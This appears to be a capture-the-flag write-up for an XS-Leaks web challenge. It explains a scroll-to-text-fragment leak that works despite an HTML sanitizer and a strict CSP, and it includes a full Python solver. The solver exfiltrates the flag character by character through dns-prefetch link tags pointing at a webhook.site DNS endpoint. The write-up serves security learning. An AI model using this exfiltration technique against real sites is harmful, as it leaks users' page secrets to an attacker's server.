XSLeaks Backdoor CTF
2025-01-19
tl;dr
- Scroll to text fragment XSleak to detect flag
- Exfiltrate characters using link tag dns-prefetch
- leak flag char by char
🔎 Challenge Overview
The challenge gives a very straightforward HTML injection on the note parameter.
template = """<!DOCTYPE html>
<html>
<head>
</head>
<body>
<div class="head"></div>
{% if flag %}
<div class="flag"><h1>{{ flag }}</h1></div>
{% endif %}
{% if note %}
<div class="note">{{ note | safe}}</div>
{% endif %}
<script nonce="{{ nonce }}">
Array.from(document.getElementsByClassName('flag')).forEach(function(element) {
let text = element.innerText;
element.innerHTML = '';
for (let i = 0; i < text.length; i++) {
let charElem = document.createElement('span');
charElem.innerText = text[i];
element.appendChild(charElem);
}
});
</script>
</body>
</html>
"""
Examining the code, we can see that our input in the note parameter is being sanitized by a server-side HTML sanitizer, so we can’t get a quick XSS and steal the flag sadly.
Looking at the sanitizer more closely to see the allowed tags:
ALLOWED_TAGS = {
'a', 'b', 'blockquote', 'br', 'code', 'div', 'em',
'h1', 'h2', 'h3', 'i', 'iframe', 'img', 'li', 'link',
'ol', 'p', 'pre', 'span', 'strong', 'ul'
}
ALLOWED_ATTRIBUTES = {
'a': {'href', 'target'},
'link': {'rel', 'href', 'type', 'as'},
'*': {
'style','src', 'width', 'height', 'alt', 'title',
'lang', 'dir', 'loading', 'role', 'aria-label'
}
}
We can see that iframe is allowed. The flag is on the webpage itself with each character inside a span tag, and below that is our HTML injection.
🥷 Attack plan
So it seems like a scroll-to-text-fragment XS-leak could be done to leak the flag.
Basically, if we give a note={lots of <br>}flag{a#:~:text=flag{a
- If the flag actually starts with
flag{a, it doesn’t scroll down - But if it does not start with
flag{a, it will scroll down to our injectedflag{abeneath all the<br>s, and we have to detect this scroll.
The commonly used way to detect this scroll is by using lazy loading. We can use lazy-loading images or iframes—so when the iframe comes into the viewport, only then will the network request to load it be made. We can detect if the scroll happened or not using this.
Since our sanitizer does allow iframes, we can use it. But there is another issue: the CSP.
response.headers['Content-Security-Policy'] = (
f"default-src 'none'; script-src 'nonce-{nonce}'; style-src 'none'; "
"base-uri 'none'; frame-ancestors 'self'; frame-src 'self'; object-src 'none'; "
)
Iframe src is self, so we can’t point it to our webhook to detect whether the lazy loading happened.
Another way we could have detected this is by using a <details> element with our target text inside. If STTF hits text inside a <details> element, it will expand and open it. Then inside the details tag, we would have:
<object data=/x><object data=about:blank></object></object>
So when STTF hits and the details tag opens, there would be a new window reference and we could use window counting to leak whether the scroll happened using window.length().
But here, we can’t use this as both the details tag and object tags are not allowed by the sanitizer.
However, we can still use DNS-prefetch requests using a link tag to send DNS requests to our webhook, but link tags don’t have a lazy-loading attribute.
So we would have to use the same HTML injection inside an iframe with lazy loading, and then inside that, using the HTML injection on the same webpage, use the link tag:
<iframe loading="lazy" src="/?note=<link rel='dns-prefetch' href='http://your-webhook'>"></iframe>
Using this, we can detect if the scroll happened or not.
🚀 Final Payloads
Here is the solver script:
import requests
import base64
from urllib.parse import urlencode, quote
import time
import string
import logging
import sys
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
CHALLENGE_URL = "http://34.10.220.48:6005"
BOT_URL = f"{CHALLENGE_URL}/bot"
WEBHOOK_ID = "79d97e8c-a722-4b12-beb1-ddc61d35d0e8"
DNS_BASE = f"{WEBHOOK_ID}.dnshook.site"
WEBHOOK_API = f"https://webhook.site/token/{WEBHOOK_ID}/requests?sorting=newest"
CHARSET = string.ascii_lowercase + string.digits + "_-!{}"
KNOWN_FLAG = "fla"
SPACER = "<iframe height='10000'></iframe>"
RATE_LIMIT_DELAY = 12
def get_logs():
try:
r = requests.get(WEBHOOK_API)
if r.status_code == 200:
data = r.json().get('data', [])
results = set()
for log in data:
if log.get('type') == 'dns':
hostname = log.get('hostname', '')
if DNS_BASE in hostname:
prefix = hostname.split('.')[0]
results.add(prefix)
return results
return set()
except Exception as e:
logging.error(f"API Exception: {e}")
return set()
def generate_iframe(current):
current_flag = KNOWN_FLAG + current
trap_host = f"{current_flag}.{DNS_BASE}"
trap_content = f"<link rel='dns-prefetch' href='http://{trap_host}'>"
trap_enc = quote(trap_content)
sensor_html = (
f'{SPACER}'
f'<iframe loading="lazy" src="/?note={trap_enc}"></iframe>'
f'<h1>d0wn</h1>'
)
return f"{sensor_html}#:~:text={current_flag}&text=d0wn"
def encode_payload(html):
encoded_note = base64.b64encode(html.encode('utf-8')).decode('utf-8')
query_params = {'note': encoded_note}
encoded_string = urlencode(query_params)
return encoded_string
def send_to_bot(payload):
target = f"{BOT_URL}?{payload}"
while True:
try:
r = requests.get(target, timeout=15)
if r.status_code == 202:
logging.info(f"Payload delivered successfully to {target}")
return True
elif r.status_code == 500:
logging.warning("Received 500 Error (Rate Limit). Sleeping 60s...")
time.sleep(60)
continue
else:
logging.error(f"Bot returned unexpected status: {r.status_code}")
return False
except Exception as e:
logging.error(f"Request failed: {e}")
def main():
global KNOWN_FLAG
logging.info(f"Starting Negative Match Attack on {CHALLENGE_URL}")
logging.info(f"Current Known Flag: {KNOWN_FLAG}")
while True:
found_char = False
chars = list(CHARSET)
batch_size = 5
for i in range(0, len(chars), batch_size):
batch = chars[i:i+batch_size]
batch_candidates = {}
logging.info(f"Processing Batch: {batch}")
for char in batch:
candidate = KNOWN_FLAG + char
batch_candidates[candidate] = char
logging.info(f"Testing Character: '{char}' | Candidate ID: {candidate}")
iframe_html = generate_iframe(char)
payload = encode_payload(iframe_html)
send_to_bot(payload)
time.sleep(RATE_LIMIT_DELAY)
logging.info("Batch delivered. Verifying logs...")
detected_hosts = get_logs()
logging.info(f"All Detected DNS Hosts: {detected_hosts}")
missing_candidates = []
for candidate in batch_candidates:
if candidate not in detected_hosts:
missing_candidates.append(candidate)
else:
logging.info(f"Candidate '{candidate}' triggered DNS (Negative Match: Rejected)")
logging.info(f"Missing Candidates (Potential Matches): {missing_candidates}")
if len(missing_candidates) == 1:
confirmed_candidate = missing_candidates[0]
found_char = batch_candidates[confirmed_candidate]
KNOWN_FLAG += found_char
logging.info(f"CONFIRMED MATCH: '{found_char}' did not trigger DNS.")
logging.info(f"UPDATED FLAG: {KNOWN_FLAG}")
found_char = True
break
elif len(missing_candidates) > 1:
logging.warning(f"Ambiguous result. Multiple candidates missing: {missing_candidates}. Retrying...")
if not found_char:
logging.info("Charset exhausted. No new character found. Exiting.")
break
if found_char:
found_char = False
continue
if __name__ == "__main__":
main()
